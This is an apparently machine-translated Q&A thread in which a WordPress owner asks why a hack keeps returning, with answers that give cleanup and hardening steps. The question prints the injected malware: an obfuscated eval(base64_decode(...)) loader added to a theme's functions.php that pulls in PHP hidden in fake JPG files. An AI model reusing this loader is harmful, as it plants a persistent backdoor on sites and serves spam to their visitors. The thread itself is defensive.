2015-09-09 53 views
0

我有一个WordPress网站一直在被黑客入侵。至于我可以跟以下变化正在作出:WordPress的网站一直在被黑客攻击

该文件的顶部有一些额外的PHP代码:

的wp-content /主题/拥抱/ functions.php中

如下:正在创建

eval(base64_decode("ZnVuY3Rpb24gY2FsbGJhY2soJGNoZWUpe3JlcXVpcmUoIi9ob21lL2RhdGFidXp6L3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2ltYWdlcy9tYWdpYy5qcGciKTtyZXR1cm4gKCRjaGVlKTt9b2Jfc3RhcnQoImNhbGxiYWNrIik7")); 

和4个新的JPG文件:

/wp-includes/images/geo.jpg

/wp-includes/images/save.jpg

/wp-includes/images/magic.jpg

/wp-includes/images/links.jpg

这些都不是真正的jpg文件因为他们没有打开,但用文本编辑器查看它们会显示文本和其他PHP代码。

从看PHP代码,它看起来像试图注入一些垃圾邮件/广告链接到我的WordPress的POSTS。

我一直删除这些文件,我已经安装了一个安全插件,删除了管理员登录名,更改了我所有的密码,但这些文件每隔几天就会不断更新/创建。

我想知道这是如何可能的,我需要做的下一步要阻止这一点。

+1

您是否使用FTP或的cPanel的/ etc访问服务器?这些可能会受到影响。 –

+0

您可能有一个易受攻击的主题或插件。 – SLaks

+0

我敢打赌,你的主题或者一些活跃的插件是脆弱的,我遇到过很多这样的网站,通常使用5年前创建的硬编码主题。 – silver

回答

3

首先 - DON´T PANIC

此时安装防病毒软件或安全插件很少有帮助 - 恶意代码已经可以访问服务器。

1 - 改变所有的密码FTPmysqlDBCpanelWHMSSH(禁用如果不需要)等访问任何东西。

3 - 检查你的服务器(比如cgicgi-binftp等所有文件夹。) 删除所有wordpress文件夹(除wp-content),和所有其他奇怪的文件。删除所有主题和所有插件anf手动和专注地检查wp-content的其余部分。备份数据库并手动检查它。

3.1 - (编辑1) - 禁止cpanel/WHM中的索引。并阅读下面的.htaccess保护。

2 - 将新的wordpress核心文件上传到OWN directory(不是根目录)并将其重命名为其他内容(而不是wpwordpress)。

3 - 更新插件和主题 - 不要复制你有的,但从wp插件库安装新鲜,更新的和新鲜干净的主题。 手动检查是否有必要。

在您的主题中,检查所有formsinput fields,并检查输入的正确验证。

4 - 更改wp-config中的所有数据库密码。所有的哈希等。 创建一个新的数据库AND用户和新密码。在注入之前手动检查数据库备份。

4.1 - (编辑I)我忘了提及 - 更改数据库前缀。不要离开wp

5 - 更改所有的wp用户密码和用户名。 如果您有一个拥有数百个用户的开放式网站,而不是制作脚本来强制每个人都更改密码。如果您只有十几个用户手动更改密码。 当我说所有 - 它包括默认的管理员用户(从过去的版本)

6 - 一段时间后,检查您的服务器日志,并查看假的图像文件的404消息是来自单个IP地址(可能不) - 如果他们 - 阻止它。

7 - 除了小心以外,你可以做的事情不多。这是很多工作,但不要懒惰,并遵循所有步骤。否则,它不只是这一个网站,但整个服务器可能会受到影响。一次又一次 ,。

准则,不是再次发生:

  • 选择强密码。 - 我们都不喜欢密码看起来像aDf34HG§*#sFGT,但它们是有用的 - 特别是在DB或其他自动化任务。对于用户 - 强制至少一个符号和一个字母。

  • 请勿安装您不知道的主题和插件,不完全了解您从可疑来源( all-wp-premium-themes-for-free-and-direct-download-all-plugins-for-free等)下载的内容。

  • 保持WordPress的核心文件更新。

  • 手动检查服务器每隔一段时间。

的.htaccess

某些指令,可以防止(或至少尝试)这种情况再次发生。

.htaccess文件在WordPress的根目录下。

#Disallow indexes 
Options All -Indexes 

# protect wp-config.php 
<files wp-config.php> 
Order deny,allow 
Deny from all 
</files> 

# WPhtC: Protect .htaccess file 
<files ~ "^.*\.([Hh][Tt][Aa])"> 
order allow,deny 
deny from all 
</files> 

的robots.txt

Disallow: /wp-* 

你可以做的另一件事是强制用户(和自己)使用SSL(HTTPS)当登录到管理:

define('FORCE_SSL_LOGIN', true); 

还有其他的东西,比较复杂,特别是在APACHE方面。 如果我有更多时间,我会发布博客条目并链接到此处。但上面写的是一个好的开始。

0

我遇到了一些我的网站这个问题,甚至在交换了所有东西(所有新文件只有一个网站,但具有相同的配置文件)......我受到了攻击。

每天我都会醒来,发送电子邮件通知,说30个不同的文件已被编辑或替换。每次我清理它,它会在几个小时后回来......但是因为它们都是新文件而感到困惑。唯一相同的是wp-config.php文件。

原来,哈希键太短了。网站建立在3年前,但完全更新到这一点,但只要我更改散列键的时间更长,那么问题就会停止。

哈希键的例子:

EXAMPLE IMAGE OF HASH KEYS

在这里你可以去生成新的密钥: https://api.wordpress.org/secret-key/1.1/salt/